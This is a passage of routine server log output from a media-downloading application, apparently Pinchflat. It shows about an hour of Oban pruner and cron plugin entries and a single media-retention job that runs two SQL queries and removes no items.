{"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.654 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:05.101 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:35.103 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.655 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:05.105 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:35.107 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.656 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:05.109 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:35.111 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.657 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:05.113 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:35.115 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.658 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:05.117 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:35.119 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.659 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:05.121 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:35.123 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.660 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:05.125 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:35.127 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.661 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:05.129 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:35.131 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.662 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:05.133 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:35.135 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.663 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:05.137 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:35.139 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.664 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:05.141 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:35.143 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.665 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:05.145 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:35.147 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.666 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:05.149 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:35.151 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.667 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:05.153 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:35.155 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.668 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:05.157 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:35.159 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.669 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:05.160 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:35.163 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.670 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:05.165 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:35.167 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.671 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:05.169 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:35.171 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.672 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:05.173 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:35.175 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.673 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:05.177 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:35.179 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.674 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:05.181 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:35.183 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.675 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:05.185 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:35.187 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.676 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:05.189 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:35.191 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.677 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:05.193 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:35.195 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.678 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:05.197 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:35.199 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.679 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:05.201 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:35.203 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.680 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:05.205 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:35.207 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.681 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:05.209 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:35.211 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.682 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:05.213 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:35.215 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.683 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:05.217 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:35.219 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.685 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:05.221 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:35.223 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.686 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:05.225 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:35.227 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.687 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:05.229 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:35.231 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.688 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:05.233 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:35.235 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.689 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:05.237 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:35.239 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.690 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:05.241 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:35.243 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.691 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:05.245 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:35.247 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.692 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:05.249 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:35.251 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.693 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:05.253 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:35.255 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.694 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:05.257 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:35.259 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.695 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:05.261 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:35.263 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.696 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:05.265 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:35.267 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.697 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:05.269 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:35.271 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.698 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:05.273 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:35.275 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.699 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:05.277 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:35.279 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.700 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:05.281 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:35.283 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.701 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:05.285 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:35.287 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.702 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:05.289 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:35.291 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.703 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:05.293 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:35.295 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.704 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:05.297 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:35.299 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.705 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:05.300 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:35.303 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.706 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:05.305 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:35.307 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.707 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:05.309 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:35.311 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.708 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:05.313 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:35.315 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.709 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:05.317 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:35.319 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.710 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:05.321 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:35.323 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.711 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:05.325 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:35.327 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.714 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2638]} 18:00:00.721 [info] {"args":{},"id":2638,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765760400721313563,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 18:00:00.724 [debug] QUERY OK source="media_items" db=2.9ms idle=39.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.724 [info] Culling 0 media items past their retention date 18:00:00.728 [debug] QUERY OK source="media_items" db=3.3ms idle=42.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.728 [info] Deleting 0 media items that are from before the source cutoff 18:00:00.729 [info] {"args":{},"id":2638,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":7379,"event":"job:stop","queue_time":720065,"attempt":1,"tags":["media_item","local_data"]} 18:00:05.329 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:35.331 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.715 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:05.333 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:35.335 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.716 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:05.337 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:35.339 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.717 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:05.341 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:35.343 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.718 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:05.345 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:35.347 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.719 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:05.349 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:35.351 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.720 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:05.353 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:35.355 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.721 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:05.357 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:35.359 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.722 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:05.361 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:35.363 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.723 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:05.365 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:35.367 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.724 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:05.369 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:35.371 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.725 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:05.373 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:35.375 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.727 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:05.377 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:35.379 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.728 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:05.381 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:35.383 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.729 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:05.385 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:35.387 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.730 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:05.389 